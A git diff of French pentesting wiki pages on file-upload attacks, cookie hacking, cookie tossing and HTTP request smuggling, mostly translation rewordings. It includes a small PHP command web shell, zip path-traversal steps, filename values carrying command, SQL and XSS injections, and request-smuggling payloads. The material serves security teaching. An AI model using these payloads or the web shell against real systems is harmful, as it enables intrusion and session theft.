- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
@ -107,7 +107,7 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [Exploitation RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables, des espaces réservés et des opérateurs "magiques". Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, montrant divers schémas :
```ini
@ -166,9 +166,9 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
## Du téléchargement de fichiers à d'autres vulnérabilités
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'atteindre un **path traversal**
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **SQL injection**
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **injection SQL**
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour atteindre un XSS
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injections de commandes ici](../command-injection.md))
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md))
- [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** fichier **upload** + **XSS** = [**exploitation des Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
@ -252,7 +252,7 @@ create_zip()
Pour plus de détails **voir le post original dans** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Créer un Shell PHP** : Le code PHP est écrit pour exécuter des commandes passées par la variable `$_REQUEST`.
1. **Création d'un Shell PHP** : Le code PHP est écrit pour exécuter des commandes passées par la variable `$_REQUEST`.
```php
<?php
@ -262,14 +262,14 @@ system($cmd);
}?>
```
2. **File Spraying et création de fichiers compressés** : Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
2. **File Spraying et Création de Fichiers Compressés** : Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification avec un éditeur hexadécimal ou vi** : Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires.
3. **Modification avec un Éditeur Hexadécimal ou vi** : Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires.
```bash
:set modifiable

16
src/pentesting-web/hacking-with-cookies/README.md
View File

@ -8,7 +8,7 @@ Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dan
### Expire et Max-Age
La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. En revanche, l'attribut `Max-age` définit le temps en secondes avant qu'un cookie ne soit supprimé. **Optez pour `Max-age` car il reflète des pratiques plus modernes.**
La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. En revanche, l'attribut `Max-age` définit le temps en secondes jusqu'à ce qu'un cookie soit supprimé. **Optez pour `Max-age` car il reflète des pratiques plus modernes.**
### Domaine
@ -16,7 +16,7 @@ Les hôtes qui reçoivent un cookie sont spécifiés par l'attribut `Domain`. Pa
### Chemin
Un chemin d'URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête `Cookie` soit envoyé est indiqué par l'attribut `Path`. Cet attribut considère le caractère `/` comme un séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.
Un chemin URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête `Cookie` soit envoyé est indiqué par l'attribut `Path`. Cet attribut considère le caractère `/` comme un séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.
### Règles de Commande
@ -82,7 +82,7 @@ Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être re
- Ils doivent être définis avec le drapeau `secure`.
- Ils doivent provenir d'une page sécurisée par HTTPS.
- Ils ne sont pas autorisés à spécifier un domaine, empêchant leur transmission aux sous-domaines.
- Ils sont interdits de spécifier un domaine, empêchant leur transmission aux sous-domaines.
- Le chemin pour ces cookies doit être défini sur `/`.
Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés à des superdomaines ou sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, utiliser le préfixe `__Host-` pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolation.
@ -93,7 +93,7 @@ Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêche
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ou en PHP, il était possible d'ajouter **d'autres caractères au début** du nom du cookie qui allaient être **remplacés par des caractères de soulignement**, permettant d'écraser les cookies `__HOST-` :
Ou en PHP, il était possible d'ajouter **d'autres caractères au début** du nom du cookie qui allaient être **remplacés par des caractères de soulignement**, permettant de surcharger les cookies `__HOST-` :
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
@ -111,7 +111,7 @@ Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accè
### Fixation de Session
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie d'origine, peut usurper l'identité de la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'attribue pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper l'identité de la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
@ -133,7 +133,7 @@ cookie-tossing.md
Cliquez sur le lien précédent pour accéder à une page expliquant les défauts possibles dans JWT.
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les défauts potentiels et comment les exploiter, il est recommandé d'accéder au document lié sur le hacking JWT.
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations détaillées sur les défauts potentiels et comment les exploiter, il est recommandé d'accéder au document lié sur le hacking des JWT.
### Cross-Site Request Forgery (CSRF)
@ -183,7 +183,7 @@ Cette vulnérabilité est particulièrement dangereuse dans les applications web
### Cookies $version et contournements de WAF
Selon [**ce blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), il pourrait être possible d'utiliser l'attribut de cookie **`$Version=1`** pour amener le back-end à utiliser une ancienne logique pour parser le cookie en raison de la **RFC2109**. De plus, d'autres valeurs comme **`$Domain`** et **`$Path`** peuvent être utilisées pour modifier le comportement du back-end avec le cookie.
Selon [**cet article de blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), il pourrait être possible d'utiliser l'attribut de cookie **`$Version=1`** pour amener le back-end à utiliser une ancienne logique pour parser le cookie en raison de la **RFC2109**. De plus, d'autres valeurs comme **`$Domain`** et **`$Path`** peuvent être utilisées pour modifier le comportement du back-end avec le cookie.
#### Analyse de contournement de valeur avec encodage de chaîne entre guillemets
@ -194,7 +194,7 @@ Ce parsing indique de déséchapper les valeurs échappées à l'intérieur des
#### Contournement des listes de blocage de noms de cookies
Dans la RFC2109, il est indiqué qu'une **virgule peut être utilisée comme séparateur entre les valeurs de cookie**. Il est également possible d'ajouter **des espaces et des tabulations avant et après le signe égal**. Par conséquent, un cookie comme `$Version=1; foo=bar, abc = qux` ne génère pas le cookie `"foo":"bar, admin = qux"` mais les cookies `foo":"bar"` et `"admin":"qux"`. Remarquez comment 2 cookies sont générés et comment l'espace avant et après le signe égal a été supprimé pour admin.
Dans la RFC2109, il est indiqué qu'une **virgule peut être utilisée comme séparateur entre les valeurs de cookies**. Et il est également possible d'ajouter **des espaces et des tabulations avant et après le signe égal**. Par conséquent, un cookie comme `$Version=1; foo=bar, abc = qux` ne génère pas le cookie `"foo":"bar, admin = qux"` mais les cookies `foo":"bar"` et `"admin":"qux"`. Remarquez comment 2 cookies sont générés et comment l'espace avant et après le signe égal a été supprimé pour admin.
#### Analyse de contournement de valeur avec séparation de cookies

6
src/pentesting-web/hacking-with-cookies/cookie-tossing.md
View File

@ -13,7 +13,7 @@ Comme indiqué dans la section Hacking des Cookies, lorsqu'un **cookie est défi
Cela peut être dangereux car l'attaquant peut être en mesure de :
- **Fixer le cookie de la victime au compte de l'attaquant** donc si l'utilisateur ne remarque pas, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant peut obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut enregistrer sa carte de crédit dans le compte...)
- **Fixer le cookie de la victime au compte de l'attaquant** donc si l'utilisateur ne s'en rend pas compte, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant pourra obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut enregistrer sa carte de crédit dans le compte...)
- Si le **cookie ne change pas après la connexion**, l'attaquant peut simplement **fixer un cookie (session-fixation)**, attendre que la victime se connecte et ensuite **utiliser ce cookie pour se connecter en tant que victime**.
- Parfois, même si les cookies de session changent, l'attaquant utilise l'ancien et il recevra également le nouveau.
- Si le **cookie définit une valeur initiale** (comme dans flask où le **cookie** peut **définir** le **token CSRF** de la session et cette valeur sera maintenue après que la victime se soit connectée), l'**attaquant peut définir cette valeur connue et ensuite en abuser** (dans ce scénario, l'attaquant peut alors faire en sorte que l'utilisateur effectue une requête CSRF car il connaît le token CSRF).
@ -28,13 +28,13 @@ Selon qui a **le chemin le plus spécifique** ou lequel est le **plus ancien**,
La plupart des **sites web n'utiliseront que la première valeur**. Donc, si un attaquant veut définir un cookie, il est préférable de le définir avant qu'un autre ne soit défini ou de le définir avec un chemin plus spécifique.
> [!WARNING]
> De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que la **victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**.
> De plus, la capacité de **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que la **victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**.
### Protection Bypass
Une protection possible contre cette attaque serait que le **serveur web n'accepte pas les requêtes avec deux cookies ayant le même nom mais deux valeurs différentes**.
Pour contourner le scénario où l'attaquant définit un cookie après que la victime ait déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois que le **cookie légitime est supprimé, définir le malveillant**.
Pour contourner le scénario où l'attaquant définit un cookie après que la victime ait déjà reçu le cookie, l'attaquant pourrait provoquer un **débordement de cookie** et ensuite, une fois le **cookie légitime supprimé, définir le malveillant**.
{{#ref}}
cookie-jar-overflow.md

2
src/pentesting-web/http-connection-request-smuggling.md
View File

@ -26,7 +26,7 @@ Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
Ce problème peut potentiellement être combiné avec [les attaques par en-tête d'hôte](https://portswigger.net/web-security/host-header), telles que le poisoning de réinitialisation de mot de passe ou [le poisoning de cache web](https://portswigger.net/web-security/web-cache-poisoning), pour exploiter d'autres vulnérabilités ou obtenir un accès non autorisé à d'autres hôtes virtuels.
Ce problème peut potentiellement être combiné avec [Host header attacks](https://portswigger.net/web-security/host-header), comme le poisoning de réinitialisation de mot de passe ou [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), pour exploiter d'autres vulnérabilités ou obtenir un accès non autorisé à d'autres hôtes virtuels.
> [!NOTE]
> Pour identifier ces vulnérabilités, la fonctionnalité 'connection-state probe' dans HTTP Request Smuggler peut être utilisée.

66
src/pentesting-web/http-request-smuggling/README.md
View File

@ -32,7 +32,7 @@ Cela pourrait être très critique car **un attaquant pourra envoyer une requêt
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne**, mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
- **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** lors de la première requête du request Smuggling.
## Exemples de base
@ -57,7 +57,7 @@ Les attaques de HTTP request smuggling sont élaborées en envoyant des requête
- L'attaquant envoie une requête où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
- Le serveur front-end transmet l'intégralité de la requête au back-end, en fonction de la valeur de `Content-Length`.
- Le serveur back-end traite la requête comme étant chunked en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête séparée et subséquente.
- Le serveur back-end traite la requête comme étant en morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête séparée et subséquente.
- **Exemple :**
```
@ -79,7 +79,7 @@ Foo: x
- **Back-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
- **Scénario d'attaque :**
- L'attaquant envoie une requête chunked où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne s'alignent pas.
- L'attaquant envoie une requête en morceaux où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne s'alignent pas.
- Le serveur front-end, respectant `Transfer-Encoding`, transmet l'intégralité de la requête au back-end.
- Le serveur back-end, respectant `Content-Length`, ne traite que la partie initiale de la requête (`7b` octets), laissant le reste comme partie d'une requête subséquente non intentionnelle.
- **Exemple :**
@ -108,7 +108,7 @@ x=
- **Scénario d'attaque :**
- L'attaquant envoie une requête avec des en-têtes `Transfer-Encoding` obfusqués.
- Selon quel serveur (front-end ou back-end) échoue à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
- Selon le serveur (front-end ou back-end) qui ne parvient pas à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
- La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête subséquente, entraînant un smuggling.
- **Exemple :**
@ -163,7 +163,7 @@ Non-Empty Body
- Comme le précédent mais en utilisant TE.
- Technique [reportée ici](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Exemple** :
- **Exemple**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -185,7 +185,7 @@ EMPTY_LINE_HERE
Cette technique est également utile dans des scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela ferait **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela fera **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
#### Forcer via des en-têtes hop-by-hop
@ -227,7 +227,7 @@ A
- Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un délai.
- **Indicateurs :**
- Timeouts ou longs délais de réponse.
- Délais d'attente ou longs délais de réponse.
- Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.
### Trouver des vulnérabilités TE.CL en utilisant des techniques de timing
@ -255,33 +255,33 @@ X
### Autres méthodes pour trouver des vulnérabilités
- **Analyse de réponse différentielle :**
- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une discordance de parsing.
- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une anomalie de parsing.
- **Utilisation d'outils automatisés :**
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
- **Tests de variance de Content-Length :**
- Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne sont pas alignées avec la longueur réelle du contenu et observer comment le serveur gère de tels décalages.
- Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de tels décalages.
- **Tests de variance de Transfer-Encoding :**
- Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs front-end et back-end réagissent différemment à de telles manipulations.
### Test de vulnérabilité de HTTP Request Smuggling
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) démontrent comment empoisonner une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de contaminer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) démontrent comment empoisonner une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
**Considérations clés**
Lors du test des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
Lors de la recherche de vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
- **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
- **URL et paramètres cohérents :** Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Faire correspondre ces éléments augmente la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
- **Conditions de timing et de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications occupées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité.
- **Défis d'équilibrage de charge :** Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque ne réussira pas. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
- **Impact utilisateur non intentionnel :** Si votre attaque impacte involontairement la requête d'un autre utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nécessitant une approche prudente.
- **Connexions réseau distinctes :** Les requêtes "attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
- **URL et paramètres cohérents :** Essayez d'utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes acheminent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition préalable à une attaque réussie.
- **Conditions de timing et de course :** La requête "normale", destinée à détecter l'interférence de la requête "attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "attaque". Les applications occupées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité.
- **Défis d'équilibrage de charge :** Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque ne réussira pas. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
- **Impact utilisateur involontaire :** Si votre attaque impacte involontairement la requête d'un autre utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nécessitant une approche prudente.
## Abuser de HTTP Request Smuggling
### Contourner la sécurité front-end via HTTP Request Smuggling
Parfois, les proxys front-end appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant le HTTP Request Smuggling, permettant un accès non autorisé à des points de terminaison restreints. Par exemple, accéder à `/admin` pourrait être interdit de l'extérieur, le proxy front-end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions.
Parfois, les proxys front-end appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant le HTTP Request Smuggling, permettant un accès non autorisé à des points de terminaison restreints. Par exemple, l'accès à `/admin` pourrait être interdit de l'extérieur, le proxy front-end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions.
Considérez les exemples suivants illustrant comment le HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy front-end :
@ -320,9 +320,9 @@ a=x
0
```
Inverse, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
### Révélation de la réécriture des requêtes front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Révélation de la réécriture des requêtes frontales <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou **découvrir des informations ou des points de terminaison cachés**.
@ -377,13 +377,13 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
Dans ce scénario, le **paramètre comment** est destiné à stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête dissimulée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête contournée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
### Utiliser le HTTP request smuggling pour exploiter le XSS réfléchi
### Utiliser le contournement de requête HTTP pour exploiter le XSS réfléchi
Le HTTP Request Smuggling peut être utilisé pour exploiter des pages web vulnérables au **XSS réfléchi**, offrant des avantages significatifs :
Le contournement de requête HTTP peut être utilisé pour exploiter des pages web vulnérables au **XSS réfléchi**, offrant des avantages significatifs :
- L'interaction avec les utilisateurs cibles **n'est pas requise**.
- Permet l'exploitation du XSS dans des parties de la requête qui sont **normalement inaccessibles**, comme les en-têtes de requête HTTP.
@ -409,13 +409,13 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Cette charge utile est structurée pour exploiter la vulnérabilité en :
Ce payload est structuré pour exploiter la vulnérabilité en :
1. Initiant une requête `POST`, apparemment typique, avec un en-tête `Transfer-Encoding: chunked` pour indiquer le début du smuggling.
2. Suivant avec un `0`, marquant la fin du corps du message chunké.
2. Suivant avec un `0`, marquant la fin du corps du message chunked.
3. Ensuite, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête subséquente.
En manipulant le `User-Agent` par le biais du smuggling, la charge utile contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
En manipulant le `User-Agent` par le smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
#### HTTP/0.9
@ -424,7 +424,7 @@ En manipulant le `User-Agent` par le biais du smuggling, la charge utile contour
La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement des verbes **GET** et **ne répond pas** avec des **en-têtes**, juste le corps.
Dans [**ce rapport**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une **réponse HTTP/1.1 factice (avec en-têtes et corps)**, de sorte que la réponse contiendra un code JS exécutable valide avec un `Content-Type` de `text/html`.
Dans [**ce writeup**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une **réponse HTTP/1.1 factice (avec en-têtes et corps)** afin que la réponse contienne un code JS exécutable valide avec un `Content-Type` de `text/html`.
### Exploiter les redirections sur site avec le HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
@ -505,7 +505,7 @@ Par la suite, toute requête pour `/static/include.js` servira le contenu mis en
